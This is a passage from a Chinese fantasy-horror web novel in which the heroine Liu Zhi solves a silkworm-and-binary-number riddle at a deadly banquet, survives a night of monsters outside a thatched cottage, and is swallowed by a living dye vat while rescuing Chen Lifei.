人彘木偶瞥向貌宜,后者心领神会的掏出蚕虫,说:“我只能提供四条蚕种,还是刚刚捉来打算献给龛主的。”
众人看着四条蚕虫,陷入了沉思。
祭台上的香,已经燃烧五分之二了。
柏封棠洞视着一切,柳鸷频频望向红香,似乎察觉出她的不安,温声安抚:“不必担心,你不会死。”
柳鸷扭头,柏封棠的眼尾醺染了酒意,但眸色依旧清亮。
“那其他人呢?”
“他们?与我何干。”他漂亮的脸庞充斥着冷漠,好似整场闹剧与他无关。
柳鸷点点头,心里明白了。
看着香一点一点的燃烧,柳鸷思虑再三,还是站了出来,“四条,足够了。”
众人齐刷刷地望向柳鸷。
除开人彘木偶和貌宜,在场共有十六个人。
柳鸷提议将十五位选手分成三组。
第一组,以陈离翡为首的五位选手,编号1111,0001,0010,0100,1000;
第二组,以俊俏青年为首的六位选手,编号1011,0101,0110,1001,1010,1100;
第三组,以柏封棠为首的四位选手,编号1110,1101,0111,0011。
柳鸷接过貌宜手中的四条蚕虫,分别将其取名为个蚕、十蚕、百蚕、千蚕。
个蚕专门触碰编号个位数是1的选手。
十蚕专门触碰编号十位数是1的选手。
以此类推。
当四条蚕虫触碰完所有的选手后,陈离翡忽然看向柳鸷,“这不公平,为什么没有蚕虫触碰你?”
“按龛主的说法,只有一位选手吃了眼睛。”柳鸷解释:“如果这四条蚕虫在半炷香后都活着,这说明你们十五位选手都没有吃眼睛。那眼睛就在——”
“我的肚子里。是我吃了眼睛。”柳鸷说。
在等待的半炷香时间里,大家都安静的、紧紧的盯着四条蚕虫。期望触碰过自己的蚕虫不会死,更期望揪出吃了眼睛的人交给龛主,好快点脱身。
突然,个蚕的白色躯体渐变成绿色,僵硬不动,死了。
开始了,众人屏住了气息。
紧接着。
十蚕死亡。
百蚕死亡。
千蚕死亡。
万众的期待瞬间陷入了恐慌。有人惊惧而尖锐的喊叫着:“这......这是什么意思?四条全死了?”
8. 寒衣龛(八)
柏封棠衔着金樽壶,给自己倒满杯酒。他啜着酒,慢条斯理的说:“这意味着编号为1111的选手吃了眼睛。”
有人立马指出,“陈离翡是1111号。”
所有人,都看向了陈离翡。
她成了众矢之的。
秦为墨将她护在身后,挡住了触目可及的杀意。
祭台上的香,只剩下十分之一了。
“等等。”柳鸷喊了一声,“百蚕动了。”
在所有人的注视下,百蚕抬了一下头,躯体的绿色褪去,恢复了莹白。它快速朝貌宜的方向爬去。
貌宜接过蚕虫查看,“百蚕没死,刚刚只是吃了不适的绿叶子,未消化完就困睡了。”
“那么真正吃了眼睛的选手是,1011号。”
1011号正是刚刚丞不可及,要杀死姜萱的俊俏青年。
俊俏青年面红耳赤的反驳,“你这什么鬼方法?谁相信你测的结果?”
人彘木偶露出一抹阴狠的笑,“柳鸷,你很聪明。”
还未等柳鸷开口,人彘木偶闪身跃至俊俏青年身后,一手捅穿了青年的腹部。从腹部里,一件一件掏出肠子、胃......
最终,捞出一双圆鼓鼓的眼睛。
祭台上的香燃完,最后一抹香灰如同青年的生命,落在了冰凉的地上。
柳鸷看着倒在地上的尸体,不明白自己是不是做错了。
人彘木偶捧着眼睛安在自己的眼眶里。
它看清了所有人。
眼睛上的血从眼角溢出,滴落在地上,清晰可闻。
“眼睛找到了。”人彘木偶语调兴奋,微微绅士的躬身,“那么,晚宴到此结束,欢迎下次光临!”
貌宜开口:“恭喜各位通过晚宴!龛主已备好住宿,我带各位回屋休息。”
柳鸷随着大部队往门口走,旁边响起一阵悉悉索索的声音。柳鸷垂眸,是万宝子偷偷揣了两壶酒在衣兜里。
“小孩子不能喝酒吧?”
万宝子打手势,“嘘!别说。”
“这酒能带走吗?”
“可以的,我以前带过。”
原本在听秦为墨说话的柏封棠,蓦地转身,“你们在做什么?”
万宝子哀求的望向柳鸷,后者没有戳穿,帮他瞒了过去。等柏封棠走远点,柳鸷帮万宝子从包袱里,掏出一个白色的佩囊,让他放进去。
“不可以放这个,上次就是放这佩囊,干粮都丢没了。”万宝子抱怨道。
“那你人小不丁点的,藏两壶酒会被发现的。”
最后,柳鸷帮他藏了一壶在袖口。
貌宜带着几人一同前往住宿地,柳鸷牵着万宝子和貌宜走在前头。
一路上秦为墨都在和柏封棠说话。
而陈离翡默默跟在秦为墨身后。
住宿地是两栋并排,黄陈陈的茅草屋。
柳鸷带着万宝子进到屋里,中间一个堂厅,左右两间卧室。三面环墙,一面以木条与竹纸制成的木棂格子窗。
一床一椅,检查了一遍,没什么怪异的。
柳鸷选择左边的卧室,见柏封棠还在外头和秦为墨一起,便和万宝子交代了一声,就关门趴上了床。
柳鸷放出瞳孔中的观众满意值,还是停留在「5%」。
刚刚不够精彩吗?竟然没涨分。
按这速度什么时候才能回到现世界找哥哥?
柳鸷叹了一口气,想起下午貌宜说的,如果被流金石感染就会变成龛,那全身流着流金血的她算什么?
超级龛吗?
如果是,那也符合江琥说得,龛皇的传闻。
那么,黑发女人恐惧她,也有了理由。
但,她的能力这么菜,别说龛皇了,连人身蛾翅的小新龛都比她强。
还有柏封棠为什么不害怕她,反而稀松平常呢?
“咚咚咚。”房门赫然被敲响。
“谁?”柳鸷警惕道。
“是我。”
柳鸷打开门,瞧见柏封棠皱着眉头,一脸不悦的样子。“什么事?”
“有看见宝子吗?”柏封棠问。
柳鸷笑了笑,“你该不会以为他下午说得要和我一起睡,我就同意了?”
柏封棠手握成拳,抵在唇间掩饰性的轻咳了下,说:“宝子不见了。”
??
柳鸷探出头,瞟向堂厅角落的椅子,“奇怪,刚刚他明明趴在那儿喝酒。”堂厅也没有打斗的痕迹,人会去哪?
柏封棠挑了挑眉:“喝酒?”
柏封棠在角落里,椅子后发现了酒瓶子。“不用找了,你去休息。”他巡视四周,而后回到自己卧室。
柳鸷跟过去,只见他大袖一挥,掀起被子当窗帘,盖住了房间内唯一的窗户。
屋子瞬间陷入漆黑。
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但慢慢地,从床柜子底下散出淡淡的光,随之越来越亮。
柏封棠从床柜底,拾起一颗白色的夜明珠。
柳鸷盯着夜明珠懵圈了,难以置信地询问:“这、莫非是宝子?”
“嗯,他不能饮酒,往后别让他喝。”柏封棠将被子撤回床,光从窗户散射进来,夜明珠渐渐退下光芒,变成一枚玄白波点的悬珠。
柳鸷越瞅越觉得不对劲,问:“这形状怎么像颗鹌鹑蛋?”
柏封棠淡然道:“他就是一颗鸟蛋。”
??
“宝子是龛?”
“准确的说是半龛。”柏封棠掇拾着鸟蛋丢进包袱里,用手帕擦拭左手的灰尘。
柳鸷从包袱里捡起鸟蛋瞧,“你怎么随身带着一个龛?”怪可爱的。
柏封棠擦拭的动作停顿,慵懒撩眼,眼神轻抖,露出一抹颇为嚣张的笑,“我随身携带的,何止他一个。”
柳鸷试探性的问出心里话,“那我算是吗?”
“你猜。”
这是柏封棠最后的回复。
柳鸷回到卧室,趴在床上思前想后,梳理出多种待验证的假设后,困意袭上,眼皮在打盹。
窗外依旧艳阳高照,光透过窗棂纸射进屋内,亮得刺眼。
床头正对着窗户,柳鸷躺了一会,半梦半醒间着实没有安全感。于是,她迷迷糊糊的抱着被褥窝到窗户底下。
那是卧室内,唯一的阴影处。
柳鸷裹着被褥,抱着膝盖,抵着头,渐渐地,结束了她来到流金世界的第一天时光。
柳鸷正梦着周公,忽然冒出来一阵嘈杂的声音。
由轻变重,似有千军万马。
沉重的眼皮抬起一条眼缝,瞥见一道黑影罩住了窗棂的光,人影投射在柳鸷脚尖前的地上。
柳鸷眨了眨眼睛,人影突然放闪翅膀。
是龛!
柳鸷一下子清醒了。
缓慢的抬头向上看,一双幽幽的眼睛捅破了窗棂纸,赤历历地转动眼珠,窥视着卧室里。
紧跟着,第二个龛覆上窗来,窗棂上出现第二双眼睛。
第三双。
第四双。
第五双。
......
片霎,整面窗户被黑鸦鸦的龛影围住了。
挡住了光线,房间内瞬时变暗,只剩下满窗户的眼睛在半明半暗中发着绿光。
9. 寒衣龛(九)
柳鸷心知不是龛的对手,趁它们发难前。她收回脚,沿着墙往门边瞧摸摸的爬过去。
一路从左边房,至柏封棠门口。
小声喊了几声,无人回应。柳鸷虚推了下,门竟没关。
柳鸷探头瞄了一眼,发现这屋也是满窗的眼睛。而柏封棠本人安静地躺在床上。
不对劲。
以他的法力,必定能察觉到。
柳鸷疾步至床沿,拍了拍柏封棠。“醒醒,窗外有龛。”
柏封棠撩起狭长的眼帘,瞥了她一眼,没说话,又阖上眼帘。
柳鸷:“......”
不是吧,大哥,这你也能睡得着。
柳鸷没法子,干脆坐在地上,和窗棂上的绿光,大眼瞪小眼。
并未注意到,床上的男人再次睁开眼睛,凝视着她的侧脸。
须臾,像是确认眼前人是真的,才缓缓起身。
“鬼鬼祟祟坐那干什么?”身后传来柏封棠沙哑的嗓音。
柳鸷扭过头,见柏封棠金币覆眼,撑开左掌,指腹揉按着太阳穴。金币驳链在骨节修长的指下,摇曳坠响,与苍白又高挺的鼻梁相映出一道极美的沟壑。
柳鸷看怔了。
半晌,才收回目光。
柳鸷想着毕竟是偷偷跑进他的卧室,怕触了他眉头,便一脸乖巧道:“我给你守夜呀。”
“你给我守夜?”他轻佻、又无奈一笑,“我给你守夜还差不多。”
“那不行!看你似乎不舒服,那你就好好睡觉吧。好歹我们也有一天的革命友谊了,我会守护好你的......”说着,柳鸷瞥向柏封棠的左手,“那么多金子,要是被龛偷了就亏大发了。”
柏封棠:“......”
柏封棠松开手,一双深邃的眼眸紧盯着地上的小财迷。只听柳鸷说:“不过那些龛似乎没有攻击的意图。”
“嗯,只要不出这间茅草屋,就不会有事。”
“你怎么知道?”
柏封棠一哂,“我还知道更多。”
柳鸷的月牙眼充满了好奇。
不过,柏封棠没有满足她,只是挪了下身体,骨节分明的左手,轻轻拍了拍让出的床榻,“上来睡觉。”
这......男女授受不亲吧?
柏封棠已从另一侧下床,将床让给了她。
“这多不好意思呀。”柳鸷嘴上客气着,手脚并用的爬进被褥里。没想到柏封棠杀了个回马枪,斜着眼、带着侵略性的:“怎么?你想跟我睡?”
“人都是趋向于美好的事物,你长得这么好看,我想不是很正常?”柳鸷坦然道。
“只是因为我好看?”柏封棠拧眉,紧抿薄唇。
柳鸷诚实的点了点头。
柏封棠思忖着,好一会,“好吧。好看就好。”他自我和解般笑了,愉悦溢出了眼眶。
门外突然传来尖厉的惨叫:“有龛杀人了!救命——”
这个女声有点耳熟,柳鸷立马坐起身,“有人出房间了?”
柏封棠嗯了一声,“你救不了她。别费心,去睡觉。”
柏封棠走至椅子旁,背对着窗棂坐下,为柳鸷挡住了所有的恐怖目光。
那道女声在哀叫:“谁出来救救我!救救我!”
无人救她。
柳鸷心知自己法力低微,此刻是心有余而力不足。
在这个残酷的世界,她首要是明哲保身。所以,她拎得清什么该插手,什么不该插手,更不会要求别人去插手。
那道女声还在惨嚎——
柳鸷的脑海中闪过餐桌上,一张张模糊的脸庞,最后定格在姜萱的笑靥上。
柳鸷出于好奇问:“你以前经常遇到这种情况吗?会怎么处理?”
柏封棠长腿交叠,肘关节支着椅靠,左手托着脸,像一位强大而慵懒的君王,生杀予夺道:“无能的人早死晚死都会死,何必浪费力气。”
柏封棠太过于冷静、冷酷又冷血。不论是在晚宴祠堂,还是此刻,仿若人类灭亡,他都无动于衷。
柳鸷以为,生命的结局虽然是死亡,但生命的本质是体验。只要活得久些,体验到更多的事物与自我,便是值得。
柳鸷黑白分明的眼眸,干净、纯粹的注视着柏封棠,“你有没有尝试过,多些怜悯之心,赐予他人?”
外头,女声的求救声在逐渐消弱——
柏封棠嗤笑,“我若赠与怜悯之心,可他们的能力配不上我的怜悯。到最后,他们死亡,和他们产生羁绊的我,反而是最痛的。”
莫非,冷漠只是强者的保护色?
柏封棠登时勾起了柳鸷的探索欲。
“你要因为结局是固定的,而放弃拥有一段羁绊的可能吗?”
“这取决于和谁产生羁绊。”柏封棠冷寂的星眸若有所思的在柳鸷的脸庞上游走、探寻,在半明不灭的朦胧里,仿佛透过她墨玉般的眸子,望向了另一个人。
许久,柏封棠收回目光,起身。
柏封棠踱步至窗前,弹开了窗棂右下角的一双眼睛,招了招手,“过来,到我这里来。”
一整扇窗的眼睛,柳鸷看着就觉得糟心,但还是走过去。按柏封棠的指示,俯下身,透过破败的窗棂纸,看见了屋外的景象。
深沉的夜幕,烽火四散在街巷。
火光照映在茅草墙上,依稀可见人身蛾翅的龛如丧尸般,毫无意识的撕裂、啃食着人类的躯体。
这简直是人间炼狱。
柳鸷攥紧了手中的汗,强迫自己冷静下来,试图寻找求救的声源。
但视野中,太乱了。
求救声消失了——
血雾弥漫了整座村庄,白骨露野,哀鸿消逝。
柳鸷无力的张望,眼睛发疼,瞳孔上刻的红色数字瞬间在跳动。
「5.5%」
「6.1%」
「6.8%」
......
片刻,机械的系统声在脑海里,冷冰冰的播报:“恭喜宿主,您当前观众满意值为「7.3%」,离回到现世界只差「92.7%」的距离。”
涨分了,柳鸷却没有很开心。
她缓了一下,仰起头问:“为什么外头是黑夜?”
“是幻魇。”柏封棠走回椅子,不慌不忙道:“这儿虽是南方龛域,但司寇的能力不受区域限制。”
“每月十四,月圆前夕,黑魇目之可及处,便是幻魇过境地。落入幻魇者,有去无回。而你方才见到的是幻魇中,几百年前,这条街巷、这座村庄的屠亡景象之一。”
柳鸷的眉梢耷拉下来,“那姜萱刚刚开门进去了,是会穿梭到几百年前,然后被湮灭在历史的洪流里?”她思疑,等不及,又问:“为什么不是她杀死了龛,活了下来?”
柏封棠挑眉,眼里藏着一丝笑,似乎在想眼前的好
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奇宝宝,为何如此可爱般。
少焉,他说:“因为历史,不可扭转。”
翌日一早,柳鸷被门外的议论声吵醒。
昨夜,翻复许久,直到后半夜,她才昏昏沉沉睡着。
柏封棠不在屋内。
柳鸷看着包袱旁的剑,对鸟蛋说:“借我一用,改日送你两壶酒。”她执着剑,打开门。
发现门外干净、明亮,毫无昨夜那般恐怖,幻魇消失了。
街巷百步处,是以梁木搭起的村口门亭。这会儿,正围了一群选手在那,不知作甚,喧囔翻天。
“你起晚了。”清亮的声音从身后传来,柳鸷回头,是陈离翡。
她站在茅草屋前,倚着门扉,环抱双臂,饶是有意的望着柳鸷说:“甜甜和墨墨去织染坊了。”
柳鸷纳闷,这姑娘竟然主动搭话,稀奇!不过,“甜甜?是谁?”
“柏(百)封(分)棠(糖)啊!难道不甜吗?”
柳鸷:“......”扑哧一笑,“请问他本人知道这外号?”
“当然,是背后偷偷叫的。”陈离翡理直气壮的扬了扬下颌。
“好吧。”
柳鸷无意与她继续攀谈,将剑佩在腰部,打算往村口门亭处走,却被陈离翡叫住。
“你有事?”
陈离翡不自然的哼哼两声,嗫嚅了一句,“没事,就是谢谢你昨晚救了我。”
柳鸷竖起耳朵,故意问:“你说什么?我没听清。”
陈离翡大声喊:“我说!谢谢你!昨晚救了我!”
“哦。”柳鸷反应平淡,“这回听到了。但你谢人就光嘴巴说啊,好没诚意。”
陈离翡心里翻了一万个白眼,“那你想怎样?”
柳鸷忽然来了心情,想逗逗她。于是,她恶趣味地抬脚往前迈了两步。
陈离翡迅捷的退回茅草屋内,警告着:“喂!你别过来!我感谢你,但并不妨碍我讨厌你,你给我离远点!”
柳鸷摆出一副你能拿我怎样的姿态,又前进了两步。
陈离翡吓得直接躲进门后,“哎哟姐姐,你要我上刀山下火海都可以,求你不要再靠近我了。”
“那行吧,你欠我一个刀山火海。”柳鸷达成目的,心情颇好,“来,你和我说说门亭那边在干嘛?”
陈离翡虚掩着门,露出一双亮滢滢的桃花眼,抱怨道:“一大早,那个丑八怪的侍女带着一副对联来,说是作为昨夜晚宴的通关奖励。喏,对联就贴在门亭上。”
柳鸷狐疑:“那群人都围着看,是对联有什么问题吗?”
“没横批啊!横批是破龛的线索,都通关奖励了,线索还要靠自己猜,真是无语!那些选手猜了一早上都没对上横批。唧唧歪歪的,吵死了!”
柳鸷转眸,见貌宜在人群后站着,摸了摸下巴,说:“容我去会一会。”
结果又被陈离翡叫住。
柳鸷挑眉,“又怎么了?”我的大小姐。
“甜甜让我看着你,你别乱跑。”
“既然如此,那你还不快点跟上我。”柳鸷说完就往前走了。
门亭两旁,笔直矗立的亭木上,龙飞凤舞的写着十四字草书,朱如血色,极为刺目。
柳鸷半猜半蒙,推断出。
上联,暮色荒墟血满瞳。
下联,春来烟萝酒溢声。
横批?
空空如也。
10. 寒衣龛(十)
柳鸷侧头问貌宜,“选手们,刚才都答了什么?”
貌宜笑蔼蔼的说:“哦,他们呀。就答了福星高照。辞旧迎新。神龛毁灭。人类万岁。”
柳鸷:“......”显然全都错了,否则现在横批也不会还是空的。
柳鸷心中默念着对联,不自觉地揪了一根头发缠指间,翻转。
暮色荒墟血满瞳,有些像人类灭亡的残景。
而春来烟萝酒溢声,又是生机盎然的景象。
上下联是对比手法。
那什么样的横批罩得住呢?
这时,有选手举手,示意要再答一个。
貌宜说:“当然可以。但提醒各位,答题的机会只有六次,六次未答对,对联线索将自动消失。现在只剩下两次了。”
“艹!你刚刚怎么不说就六次机会?”
“对啊!故意使坏坑我们是吧?”
“一个小侍女,老子杀你易如反掌。”
......
一群选手气愤的盯着貌宜。后者面不改色的平视着:“龛主并未要我提醒各位,倒是怪我多嘴了。”
貌宜的语气中不乏失望。一顿,又语:“各位慢慢,我回去复命了。”
貌宜一下闪身,人就消失的无影无踪。
一个叫曲皓尧的肌肉猛男盯着貌宜消失的方向,气呼呼道:“诡计多端的龛!她肯定是故意这么说,怕老子揍她就溜了。”
旁边的人问:“曲哥,那只剩两次机会了,怎么办?”
“你刚新想出的横批是什么?”
“额......是天差地别。”
众人:“......”
沉默间,柳鸷发现部分人的目光瞅向了她。“你们干嘛都看着我?”
曲皓尧说:“昨天晚上出法子的人是你吧?你很聪明,你肯定能对上横批,你过来对对?”
柳鸷小声啊了下,摊着手,耸了耸肩膀说:“我也不会啊。”
众人无奈,最后决定将两次机会留下,等柏封棠和秦为墨回来再看看。有人匆匆跑来,说在一座古庙发现很多蚕茧。
曲皓尧打算去看看。
柳鸷怀疑他们说得就是不巅庙,出声提醒:“不要靠近蚕茧,蚕丝会杀人。”
“多谢。”曲皓尧客气的拱了拱手,带着几个人离开。
不一会,门亭前的人潮散去。
柳鸷拍了拍左腕上的金菜手镯,悄声说:“系统?金菜?我需要帮忙!”
系统没一丁点儿反应。
柳鸷无奈,想着出去迟早把它扔了!
柳鸷偏头见陈离翡一点都不淑女的岔腿坐在九尺之外的草地上,靠着石头打瞌睡。“喂,陈离翡。”
“嗯?”陈离翡搓了搓眼睛,含糊着:“干嘛?”
“你哪个舍的?”柳鸷想到了一个验证对联的法子,需要能人帮忙。
这回,陈离翡清醒了,说:“我外舍甲等,你呢?”
啧!
柳鸷以为他至少是个内舍,为了防止被陈离翡怀疑。柳鸷决定倒打一耙,“我也外舍,不过我怎么没见过你。”
“这有什么奇怪,外舍人多,墨墨都带我住上舍。”陈离翡得瑟着。
这就是抱中大粗腿的好处吗?
住好吃好,连法力都不需要多少,轻轻松松,来神龛跟玩似的。
柳鸷叹了口气,让陈离翡带路去织染坊,她需要请求柏封棠帮忙。
陈离翡自以为熟悉路,但却把柳鸷带偏了。
在偏僻的小路里,柳鸷突然看见不远处,有一个樵夫担着两筐柴火站在一块石碑处,探着头望,眼中好奇又惧怕。
“大哥,你看什么?”柳鸷问,但对方似乎没有听见,又瞧了两眼,挑起扁担转身离开。
“他听不见的。神龛设有结界,外头的人可以进来,但里头的人除非破龛成功,否则都出不去。”陈离翡说。
那这樵夫应该是神龛之外,正常土地上的百姓。
“走啦,快点找路去染织坊。”
染织坊位于村庄后方,傍山而建,占地面积约有十余亩。分为存储区、织机区、染色区、晾晒区和展示区。
各区房门紧闭,陈离翡喊了两声秦为墨的名字。
无人回应。
柳鸷推开存储区,里头是空的,并无布料。
一阵罡风吹过,染色区的房门在一片宁静中,吱呀地了两声。
门虚虚吹开了些,露出了门角下,几簇新鲜的板蓝根和蓼蓝草。
柳鸷说:“是刚采摘的鲜草,里面可能有人。”
“那我们进去看看。”
两人推开门进去,屋子很大,放眼望去莫约有上百口大瓷缸。每一口缸均盖着盖子,缸身贴着一张菱形的红纸,墨写染字。
这些都是染缸,结合外头的各区和古庙里蚕茧,这个村庄以前很可能是从事布料为生。
陈离翡在离柳鸷三尺之地,打开了缸盖。
一股板蓝根和蓼蓝草发酵的浓厚气味蹿进鼻腔。
缸里是一团墨色稠水,表面覆满了蓝靛花的油脂。
柳鸷拿过一旁下半边染着浅绿色的棍子,搅缸。
搅拌两圈,翻看染料水,是比浅绿色更深了,断定:“这应该是刚调好没多久的染料。”
陈离翡疑惑:“谁调的?神龛的原住民不是都死光了吗?”
“可能是柏封棠和秦为墨。”柳鸷将搅棍靠在墙壁上,说:“把缸盖盖上,我们出去找他们。”
“等等。”陈离翡觉得好玩,取下挽在双臂间的水蓝色帔帛,丢进染缸了,胡乱漂了一圈才拉出来。
陈离翡靠着缸口,献宝似的递给柳鸷瞧,“你看,真变绿了。”
湿哒哒的绿帔帛,这还怎么披?
柳鸷有些无奈。
没有人注意到,满是油脂泡沫的缸面,伸出来一条墨绿色的布,湿哒哒的、像有意识般调转向陈离翡。
一下子缠上她的腰部,将她整个人往缸里拖。
“啊!救命!”
陈离翡本能的挣扎,柳鸷眼疾手快的抓住她的手,想把她往上拉。
陈离翡微怔,停止了挣扎。
她盯着自己与柳鸷肌肤交紧的手,骤然甩开柳鸷的手,仿佛看垃圾一样斜视着柳鸷,疯狂谩骂:“你这个肮脏的女人!拿开你的脏手!你滚开!别碰我!”
陈离翡手脚并用,连踢带踹,像要甩开洪水猛兽般挣脱开柳鸷。
柳鸷在心里翻着白眼,一边嫌弃着想松开陈离翡的手,让她被拖进缸里去死好了!一边又紧紧地拽着陈离翡叱道:“我他妈是在救你!你就当我是男的!”
陈离翡被柳鸷的怒吼吓住,不再挣扎。任由柳鸷和那一条诡异的湿布,相互拉锯。
方才柳鸷搅缸时,缸内并没有布,这布是从哪里来的?
且这条湿布看似柔软,灵巧,但不知是含了水的重力或是其他的缘故,总之,它湿湿的宛如千斤般重。
眼看着陈离翡被湿布往缸里拖,半个腰部陷进了缸内。
柳鸷以
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膝盖顶住,匀出一只手,拔出腰上的剑,侧身,一剑挥下,利落地砍断了湿布。
但柳鸷还没把陈离翡拉出来,缸里又伸出一条、两条、三条......缠住了陈离翡的头发、脖子、肩膀、腰身......
陈离翡被缠疼了才回过神,像被风吹折了般,脸色惨白、无助,“柳鸷你松手,再拉着我,你也会死的。”
柳鸷左手拽陈离翡,右手狂砍湿布,咬牙坚持着。
但湿布层出不穷,陈离翡的半个身体都陷进了缸内,墨绿色的染料水没过她的胸口。
陈离翡原本就比柳鸷个高体重,加之湿布的力量,柳鸷根本抵不住,整个人也被拽着往前。
一条湿布猛然伸长,朝柳鸷探去。柳鸷分心去砍,维持得十分吃力。
忽然,左手被陈离翡掰开,柳鸷顺势松开了手,用剑撑住地,才没有被巨大的脱力贯倒在地。
“去找墨——”陈离翡被数只手拽进缸里,不见了。
柳鸷急忙起身往门处跑。
在开门时,一条后方来的长湿布疾速越过她,哐当一下撞在门上,抵住了门。
柳鸷一剑将湿布劈成两半。
可更多的湿布从缸里伸出,伸得很长很长,捆住柳鸷的四肢。
柳鸷的四肢千钧重负,毫无办法挣脱,硬生生被拖进了染缸。
一股发酵的染色水淹没柳鸷的鼻腔,须臾,又散了。柳鸷好像被吞进了一张嘴里,四周皆为肉壁。
身体被咽着滑下食道。
食道里柔软的壁肉分泌出丝丝黏粘、散发出一股馊味,恶心的很。一股带有腐蚀性的透明黏液袭击向柳鸷,想要把她消化掉。
柳鸷偏身躲开,强势的突破多道关口,一路滑到底部,闯进它的胃部。
柳鸷在胃里颠簸了下,只得手持剑插在胃底,勉强才能站稳。
柳鸷环顾四周,怔住了。
胃壁上有数百张脸谱,男的、女的、老的、少的。每张脸谱都垂着眼,额头上竖立着一块祭牌,不知是死是活。
难道胃成了一座坟墓,胃壁上立着的,是曾经吞食过的生灵?
想到这,柳鸷觉得毛骨悚然,希望这些脸谱不要突然睁开眼睛。
她压下心头的不安,小心翼翼地在胃壁上寻找陈离翡。
终于,在右侧方的胃壁处,寻见一抹被黏液浸住的水蓝色身影,“陈离翡?”
陈离翡抬眸,虚弱的一瞥,笑着低呼:“你怎么也进来了?不是让你去找墨墨吗?”
“你也太看得起我了!我俩半斤八两,你都陷进来了,难道我还能跑得出去?”柳鸷挥剑,劈开扒在陈离翡身上的黏液,才发现她的裙袍和翘头鞋已经化掉了一些。
柳鸷赶紧把人拉出来,见陈离翡的精神还是恍恍惚惚的。她一记弹指重重的敲在陈离翡的脑门上。“清醒点,想办法出去。”
陈离翡吃痛一声,“知道了,你这个暴力女别打我!”
片霎,黏液又如八爪般迅速朝两人爬过来。
柳鸷举剑狂砍,以防止被它们吞噬。陈离翡从袖口里掏出一片金箔,双指轻按着金箔,说:“墨墨,我掉进了很多脸的染缸里,快来救我。”
咦,还能隔空传音?
有意思。
可对面,无人回应!
柳鸷一边砍黏液,一边质疑道:“姐姐,你这到底行不行?我手都砍酸了。”
陈离翡又按着金箔呼叫:“墨墨......老秦......秦为墨!”
依旧无声。
11. 寒衣龛(十一)
“奇怪!怎么不行了!”陈离翡尴尬的挠头,“可能在这里不管用吧。”
柳鸷皱着眉头问:“你有多少法力?”
陈离翡想了想,“有挺多的吧,墨墨给我的,但我从来不需要用。”
啧!
这家伙被秦为墨养在伊甸园里,养成了天真又可爱的废物。
“要不,我把法力借你用用?”陈离翡从体内吸出十张金箔,径直推进柳鸷身体。
柳鸷瞬间觉得体内力量充盈,挥出去的剑都带着金光,惊奇着,“还挺厉害的!”
陈离翡哼哼,得意着,“那当然!我二十六片,都分你十片了。外舍的选手没有一个金箔比我多的。”
柳鸷察觉到金箔在她体内慢慢的化成流金血,法力也开始减弱。
柳鸷依旧坚持砍着黏液,陈离翡抓紧她的后腰带,形成老鹰捉小鸡的姿势,躲避黏液。
但这小鸡一边左右摆动,一边叨叨着。
原来,在流金世界,金子就是法力的来源。
阙庭外舍的选手和神龛的下阶龛,所拥有的能力都不会超过二十七片金箔,一旦达到二十七片金箔就可以幻化成一粒金豆,成为内舍选手或中阶龛。
等集齐了二十七粒金豆,幻化出一块金条,那就是牛逼哄哄的上舍选手或者上阶龛。
简而言之,拥有的金子越多,法力越高强。
陈离翡骄傲的说:“像墨墨这个壕爷,就有十块金条呢,羡慕死我了!”
一团黏液爬来,柳鸷连躲都没躲,正面冲破粘液团,随即问:“那柏封棠有多少?”
“他?”陈离翡歪头想了想,双眉皱成了疙瘩,“不知道啊,就他那样目中无人,眼睛长在天上飞,估计得有一座金矿吧!”
柳鸷:“......”
“你刚说得都是成型的硬金,那流动的软金,你知道吗?”
“哦~流金血是吗?”陈离翡攥紧柳鸷的后腰带,眉飞色舞着,“这个只在阙庭的藏书里见过,据说流金血源源不断,吃了可以一步登天。”
“阙庭还发布了重金悬赏通缉流金血呢。”陈离翡鄙夷着,“要有人找到,肯定自己吞噬炼用了,还交给阙庭。”
陈离翡信誓旦旦的说:“如果哪天被我遇见流金血,我非得剥她的皮,吞她的肉,吃得干干净净。然后,我先杀了甜甜,成为阙庭的最强王者!哈哈哈!”
柳鸷:“......”呵呵,我就在你面前。
胃里的黏液在柳鸷不断的砍伐下,变得萎靡不振。
柳鸷体内的金箔已融化成流金血,借来的法力消失了。
柳鸷停手,在想要不要把陈离翡丢在胃里,让她自生自灭。柳鸷犹疑了下,“你跟紧我,我们出去。”
柳鸷带陈离翡往食道去,刚进入,食道就冲下来一大团黏液。
柳鸷用剑快速劈开黏液,又一道下来。
不行!
这么多黏液足以淹死他们。
柳鸷拉着陈离翡退回到胃里。
陈离翡嘟囔,“上面不行,我们走下面,从腚眼子......”
柳鸷蹙眉,没好气道:“你想当个臭粪?”下去还不一定能出去,可能更麻烦。
陈离翡摆烂了,“那你说怎么办?”
柳鸷思忖片刻,只能选择破肚子而出。她凝聚全身的力量于尖刃,猛地捅向前方柔软的胃壁。
胃壁被刺破,渗出了血。
突然,响起一道雌雄莫辨的声音,夹杂着孩童的稚嫩声、大人的威严声与老人的沧桑声......上百人,异口同声的痛呼:“敢在我肚子里作乱!看我不杀了你!”
柳鸷在长久的回响声中,抬起眼。
胃壁上的脸谱,皆睁开了眼睛——
陈离翡吓得大叫,又瞥了一眼食道,焦灼的朝柳鸷大喊:“又冲下来好多黏液,要淹死了!”
柳鸷冷冽地笑着:“反正横竖都是一死,还不如放手一搏。”
柳鸷继续朝胃伤处攻击,这怪物早有预料般,猛力绷紧胃部,从外往里弹。
两道力量内外相撞,柳鸷力不及它,被震飞,摔在胃底的黏液里,呕出一口血——
黏液很快就攀上、没过陈离翡的脚背。她犹豫着要去扶柳鸷,却被绊倒,动弹不了。只能眼睁睁的看着柳鸷半身被黏液淹没。
黏液如潮水,越涨越高。
柳鸷捂着被震痛的心口,痛得不能呼吸,觉得快要窒息了。潮水漫过柳鸷的头部,将她彻底包裹。
柳鸷犹如溺水般,在沉重的窒息感里,慢慢的,失去了意识。
陈离翡看着她闭上眼睛,大喘着气,“柳鸷!柳鸷!快醒醒——”
“滴——滴——滴!”黏液滴答、滴答落进耳道。
不知道过了多久,柳鸷隐隐约约,好像听见有声音在呼唤她。
“小鸷,小鸷......”
好熟悉的声音。
那是哥哥的声音?
“小鸷,到哥哥这里来。”
对,没有错,是哥哥。
柳鸷挣扎着呼喊:“哥哥......”
但对方似乎听不到,还在焦急着:“小鸷,你在哪里?快点回来好不好。”
柳鸷拼了命的回应,却无法与哥哥对上话。
啊!她好不甘心!
她不能就这么死了。哥哥还在等她。她不能死。
“啊——”潮水被一股巨大金光倾轧,冲开,柳鸷抵着剑站了起来。
柳鸷眼神发红,两只眼球刻着明晃晃的红字「10%」。
脑海里,系统呲呲的响起,机械的播报:“恭喜宿主,您当前观众满意值为「10%」,获得一级法力。”
